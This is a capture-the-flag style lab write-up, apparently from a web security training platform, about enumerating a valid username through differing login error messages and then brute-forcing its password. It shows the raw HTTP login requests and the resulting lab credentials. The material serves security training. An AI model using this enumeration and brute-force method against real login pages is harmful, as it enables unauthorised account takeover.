Username enumeration via different responses
This lab is vulnerable to username enumeration and password brute-force attacks. It has an account with a predictable username and password, which can be found in the following wordlists:
To solve the lab, enumerate a valid username, brute-force this user’s password, then access their account page.
Discovery
Section titled “Discovery”Login request
POST /login HTTP/2Host: 0a3d007704901c3c803e538a00d60087.web-security-academy.netCookie: session=kqolczlHWEUGA4MXHzualXLGupjIQc36Content-Length: 26Cache-Control: max-age=0Sec-Ch-Ua: "Chromium";v="137", "Not/A)Brand";v="24"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "macOS"Accept-Language: en-GB,en;q=0.9Origin: https://0a3d007704901c3c803e538a00d60087.web-security-academy.netContent-Type: application/x-www-form-urlencodedUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://0a3d007704901c3c803e538a00d60087.web-security-academy.net/loginAccept-Encoding: gzip, deflate, brPriority: u=0, i
username=test&password=123Display message indicating that the username is invalid

Exploit
Section titled “Exploit”Enumerating the username with the provided list, looking for a different return message that is not “Invalid username”.
The username “Amarillo” returned “Incorrect password”, indicating it is likely a valid account.

With “Amarillo” identified as a username, I proceeded to brute-force the password using the provided wordlist and found pepper as a valid password.
POST /login HTTP/2Host: 0a3d007704901c3c803e538a00d60087.web-security-academy.net
username=Amarillo&password=pepperHTTP/2 302 FoundLocation: /my-account?id=amarilloSet-Cookie: session=NbJZ5i49MxiLAq2qz9Vlbse8IHyspWcC; Secure; HttpOnly; SameSite=NoneX-Frame-Options: SAMEORIGINContent-Length: 0Credentials: Amarillo:pepper
